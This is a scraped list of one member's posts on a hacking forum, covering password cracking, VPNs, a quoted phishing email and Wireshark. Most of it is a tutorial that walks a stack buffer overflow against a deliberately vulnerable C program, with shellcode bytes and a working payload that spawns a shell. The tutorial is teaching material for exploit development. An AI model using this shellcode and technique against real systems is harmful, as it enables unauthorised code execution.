1
Hacking and Security / Re: John taking forever
« on: May 07, 2013, 03:50:46 pm »
Post deleted, misunderstood the question, apologies.
Show Posts
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
Pages: [1] 2
2
Anonymity and Privacy / Re: How is Hotspotshield?
« on: September 17, 2012, 06:53:40 pm »And honestly, advantages of Windows? I cant think of a single one.
Windows it still often the best base OS to break into other Windows systems.
Breaking into other systems doesn't have the same requirements, though I do use BT5 when I have to drop to layer 2 shenanigans, Windows tools are a bit short in that area.
3
Hacking and Security / Re: Is there anyone who can unlock this? please...
« on: September 16, 2012, 11:01:16 pm »I would think it is hard to find good tables for rar/zip cracking.
I dug into this a bit and it can't be done as most versions use a KDF [1] which is used to encrypt the file. Pre-computed hash tables can't know what this value will be beforehand, same problem with salted hashes as you can't pre-compute the tables for it without doing all the possible hash values as well. Recent versions of ZIP use AES256 which would require hash tables of a ridiculous size.
[1] http://en.wikipedia.org/wiki/Key_derivation_function
4
General discussion / Re: Let's get to know each other! ! esp the elite guys here...
« on: September 16, 2012, 08:25:31 pm »
I specialise in being politically incorrect and clearing entire pubs with a single fart.
Edit: Also specialise in not using US English.
Edit: Also specialise in not using US English.
5
Anonymity and Privacy / Re: How is Hotspotshield?
« on: September 16, 2012, 08:17:14 pm »Free services are a no-no, again, if you are going to do malicious stuff. Otherwise, I guess it is just fine.
This. Regardless if it's a free or commercial service they are still subject to local laws and if you honestly think that some random person is willing to risk prison time for you personally, you are mistaken. For on-line anonymity perhaps in places that don't like that sort of thing (or for whatever reason), use Tor.
https://www.torproject.org/
6
Tutorials / Re: Phishing (For beginners and a revision for elite hackers)
« on: September 16, 2012, 01:36:10 pm »
The other option is set your email client to reads emails as plain text only, it makes the phishing emails quite funny to look at:
Code: [Select]
Greetings!
It has come to our attention that you are trying to sell your personal Diablo
III account(s).
As you may not be aware of, this conflicts with the EULA and Terms of Agreement.
If this proves to be true, your account can and will be disabled.
It will be ongoing for further investigation by Blizzard Entertainment's employees.
If you wish to not get your account suspended you should immediately verify your
account ownership.
You can confirm that you are the original owner of the account to this secure
website with:
https://us.battle.net/login/en/?ref=http%3A%2F%2Fus.battle.net%2Fd3%2Fen%2Findex&app=com-d3
<http://us.battle.net.ok.jj-rs.com/login/en/login.html?app=wam&ref=https://www.worldofwarcraft.com/account/&eor=0&app=bam>
Login to your account, In accordance following template to verify your account.
7
Hacking and Security / Re: Is there anyone who can unlock this? please...
« on: September 16, 2012, 11:41:33 am »You can use rainbow tables.
And that does pkzip hash formats as that's what the OP was asking for?
8
Hacking and Security / Re: Started Using Wireshark
« on: September 16, 2012, 12:43:13 am »
If you logout and then login again, you will see the following POST request:
I thought the cookie hash was related as it allows the "Login Forvever" option, but I don't code web forums and they do tend to vary a lot.
Code: [Select]
Request URL:http://evilzone.org/login2/
Request Method:POST
Status Code:302 Found
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en-US,en;q=0.8,en-GB;q=0.6
Cache-Control:max-age=0
Connection:keep-alive
Content-Length:72
Content-Type:application/x-www-form-urlencoded
Cookie:PHPSESSID=[..]
Origin:http://evilzone.org
Referer:http://evilzone.org/index.php
User-Agent:Bond, J
user:[your username]
passwrd:[your password]
cookielength:-1
hash_passwrd:I thought the cookie hash was related as it allows the "Login Forvever" option, but I don't code web forums and they do tend to vary a lot.
9
Hacking and Security / Re: Started Using Wireshark
« on: September 15, 2012, 08:39:04 pm »
The password won't be there in clear-text in a form that you can read, it will be hashed in some way and maybe embedded into a session cookie. The hashing type varies from forum software to forum software but will typically be something like sha1($salt.$password) or md5(md5($salt.$password)).
Edit: In this case look at Cookie:DarkEvilCookie=
Edit: In this case look at Cookie:DarkEvilCookie=
10
Hacking and Security / Re: Started Using Wireshark
« on: September 15, 2012, 11:11:25 am »
Wireshark, like any packet sniffer shows you everything on he network that passes your network card which means a good tip is learning to use filters. For example if you are using it to look at your EZ web session, simply put "http" into the filter box and hit return. Once you have identified a request that you want to look at, right click the packet and select "Follow TCP stream". This then shows you another window with all the requests in an easy to read form.
11
Tutorials / Basic Linux BoF (introducing gdb & peda)
« on: September 15, 2012, 01:11:38 am »
I was going to just do a basic Linux buffer overflow demo but 1) it's from about 2001 and 2) there are gazillions of them around the internet.
So I thought I would do a basic one but introduce peda which is a Python exploit development script that is used with gdb. Thanks to TurboBorland who linked it in IRC, it takes a lot of the donkey-work out of exploit development.
Very basic and somewhat contrived example, assumes no defences typically present in modern compilers and kernels.
No ASLR, DEP, NX and compiled with no stack protection. Also demonstrating the PEDA exploit development
script from http://code.google.com/p/peda/
Enable core dumps, show example "bad" code and compile with debug info and no stack protection and the test it.
Let's try with a buffer overflow attempt:
Classic oveflow, we hit eip and ebp points to the overflow string. Next we need to determine what is overwritten at what point,
since the first step we want is to overwrite eip to control execution flow, we need to know at what offset in the overflow string eip
is overwritten with. This is the sort of thing that PEDA helps with, does a lot of the donkey work for us.
First we create a cyclic pattern string and then send it to the buggy program. This is a more sophisticated version of using AAAABBBBCCCC etc to find exactly
where an overflow occurs.
Important thing here is the line: EIP+0 found at offset: 28
This tells us that eip overwrite is at 28 bytes into the overflow string.
Next we choose a payload, as a demo it's simply a standard /bin/sh one which we choose then make.
In this case I am using an old execve /bin/bash shell as the one above didn't work so well on my system:
"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Next we create a new overflow string based on what we know:
[28 bytes padding][eip][some bytes NOP padding][shellcode]
Choosing an initial value of "XXXX" as eip and picking a NOP (0x90) padding of 256 bytes we try again.
We can see the NOP padding on the stack, picking the address 0xbffff44c from the line:
0028| 0xbffff44c --> 0x90909090
for eip we choose this as our "landing spot" for execution flow. We can't have any 0s in the address as since C uses NULL terminated
strings, the strcpy() we are overflowing would fail. Also note the "XXXX" value for eip showing we have the right offset to overwrite.
There we go, shell.
So I thought I would do a basic one but introduce peda which is a Python exploit development script that is used with gdb. Thanks to TurboBorland who linked it in IRC, it takes a lot of the donkey-work out of exploit development.
Very basic and somewhat contrived example, assumes no defences typically present in modern compilers and kernels.
No ASLR, DEP, NX and compiled with no stack protection. Also demonstrating the PEDA exploit development
script from http://code.google.com/p/peda/
Enable core dumps, show example "bad" code and compile with debug info and no stack protection and the test it.
Code: [Select]
demo@cattie-brie:~$ ulimit -c unlimited
demo@cattie-brie:~$ cat buggy.c
#include <stdio.h>
#include <string.h>
int main( int argc, char *argv[])
{
char buffer[16];
if (argc !=2)
{
printf("I need a string !\n\n");
return(-1);
}
strcpy(buffer,argv[1]);
printf("Buffer : %s\n",buffer);
return(0);
}
demo@cattie-brie:~$ gcc buggy.c -o buggy -ggdb -fno-stack-protector
demo@cattie-brie:~$ ./buggy EvilZone!
Buffer : EvilZone!Let's try with a buffer overflow attempt:
Code: [Select]
demo@cattie-brie:~$ ./buggy aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Buffer : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
demo@cattie-brie:~$ gdb buggy core.3768
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
[...]
Core was generated by `./buggy aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
gdb-peda$ info reg
eax 0x0 0x0
ecx 0xbffff508 0xbffff508
edx 0xb7fcb360 0xb7fcb360
ebx 0xb7fc9ff4 0xb7fc9ff4
esp 0xbffff550 0xbffff550
ebp 0x61616161 0x61616161
esi 0x0 0x0
edi 0x0 0x0
eip 0x61616161 0x61616161
eflags 0x210296 [ PF AF SF IF RF ID ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
Classic oveflow, we hit eip and ebp points to the overflow string. Next we need to determine what is overwritten at what point,
since the first step we want is to overwrite eip to control execution flow, we need to know at what offset in the overflow string eip
is overwritten with. This is the sort of thing that PEDA helps with, does a lot of the donkey work for us.
First we create a cyclic pattern string and then send it to the buggy program. This is a more sophisticated version of using AAAABBBBCCCC etc to find exactly
where an overflow occurs.
Code: [Select]
demo@cattie-brie:~$ gdb buggy
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
[...]
Reading symbols from /home/demo/buggy...done.
gdb-peda$ pset arg 'cyclic_pattern(128)'
gdb-peda$ show arg
Argument list to give program being debugged when it is started is "'A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-'".
gdb-peda$ r
Buffer : A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fc9ff4 --> 0x154d7c
ECX: 0xbffff498 --> 0xb7fca4e0 --> 0xfbad2a84
EDX: 0xb7fcb360 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41332541 ('A%3A')
ESP: 0xbffff4e0 ("5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
EIP: 0x25413425 ('%4A%')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x25413425
[------------------------------------stack-------------------------------------]
0000| 0xbffff4e0 ("5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0004| 0xbffff4e4 ("A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0008| 0xbffff4e8 ("%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0012| 0xbffff4ec ("9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0016| 0xbffff4f0 ("A$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0020| 0xbffff4f4 ("$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0024| 0xbffff4f8 (")A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0028| 0xbffff4fc ("A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x25413425 in ?? ()
gdb-peda$ pattern_search
Registers contain pattern buffer
EIP+0 found at offset: 28
EBP+0 found at offset: 24
Registers point to pattern buffer
[ESP] points to pattern offset: 32
Start of pattern buffer "A%sA" found at:
0xb7fdf009 (mapped)
0xbffff4c0 : $sp + -0x20 (-8 dwords)
0xbffff6e9 : $sp + 0x209 (130 dwords)
References to start of pattern buffer "A%sA" found at:
0xbffff4b4 : $sp + -0x2c (-11 dwords)
0xbffff588 : $sp + 0xa8 (42 dwords)
Important thing here is the line: EIP+0 found at offset: 28
This tells us that eip overwrite is at 28 bytes into the overflow string.
Next we choose a payload, as a demo it's simply a standard /bin/sh one which we choose then make.
Code: [Select]
gdb-peda$ shellcode
Available shellcodes:
x86/bsd bindport
x86/bsd connect
x86/bsd exec
x86/linux bindport
x86/linux connect
x86/linux exec
gdb-peda$ shellcode x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
In this case I am using an old execve /bin/bash shell as the one above didn't work so well on my system:
"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Code: [Select]
gdb-peda$ python
>shellcode = (
> "\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
>)
>endNext we create a new overflow string based on what we know:
[28 bytes padding][eip][some bytes NOP padding][shellcode]
Choosing an initial value of "XXXX" as eip and picking a NOP (0x90) padding of 256 bytes we try again.
Code: [Select]
gdb-peda$ pset arg '"A"*28 + "XXXX" + "\x90"*256 + shellcode'
gdb-peda$ r
Buffer : AAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?Ph//shh/bin??1??j
X?
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fc9ff4 --> 0x154d7c
ECX: 0xbffff3e8 --> 0xb7fca4e0 --> 0xfbad2a84
EDX: 0xb7fcb360 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff430 --> 0x90909090
EIP: 0x58585858 ('XXXX')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x58585858
[------------------------------------stack-------------------------------------]
0000| 0xbffff430 --> 0x90909090
0004| 0xbffff434 --> 0x90909090
0008| 0xbffff438 --> 0x90909090
0012| 0xbffff43c --> 0x90909090
0016| 0xbffff440 --> 0x90909090
0020| 0xbffff444 --> 0x90909090
0024| 0xbffff448 --> 0x90909090
0028| 0xbffff44c --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x58585858 in ?? ()
We can see the NOP padding on the stack, picking the address 0xbffff44c from the line:
0028| 0xbffff44c --> 0x90909090
for eip we choose this as our "landing spot" for execution flow. We can't have any 0s in the address as since C uses NULL terminated
strings, the strcpy() we are overflowing would fail. Also note the "XXXX" value for eip showing we have the right offset to overwrite.
Code: [Select]
gdb-peda$ pset arg '"A"*28 + int2hexstr(0xbffff44c) + "\x90"*256 + shellcode'
gdb-peda$ r
Buffer : AAAAAAAAAAAAAAAAAAAAAAAAAAAAL????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????Rhn/shh//bi??RS???
process 4053 is executing new program: /bin/bash
sh-4.1$
sh-4.1$ exit
exitThere we go, shell.
12
Hacking and Security / Re: Hackers Testifying at the United States Senate, May 19, 1998 (VIDEO)
« on: September 14, 2012, 08:51:40 pm »
Mudge with big hair, how times change.
13
Hacking and Security / Re: Binding to DLLs or Hiding in Processes
« on: September 14, 2012, 05:45:44 pm »
The problem with using Python is that in order for your backdoor to work, the target system must be able to run it. No version of Windows has ever had Python installed by default and there are a probably a few Linux distro's that are the same. You can convert python to binary executables but they will be massive in size. You can certainly create a backdoor using a Python framework for example, but that backdoor has to end up as a binary native to the target system.
14
Hacking and Security / Re: [Problem] How to enable gpedit.msc
« on: September 14, 2012, 10:00:50 am »When I type gpedit.msc in the run dialog box, it says windows cann't find gpedit.msc
please help me in enabling it.
That's because it's not installed on Windows Home or Starter since home users typically don't have Domain Controllers let alone deploy GPOs. Ten seconds of Google gave me this:
http://sharanvijayr.blogspot.co.uk/2011/07/group-policy-editor-gpedit.html
15
General discussion / Re: So, what do you do?
« on: September 13, 2012, 05:20:32 pm »
Penetration testing, occasionally malware analysis and exploit development. Best job in the world but I maybe a smidge biased.
Pages: [1] 2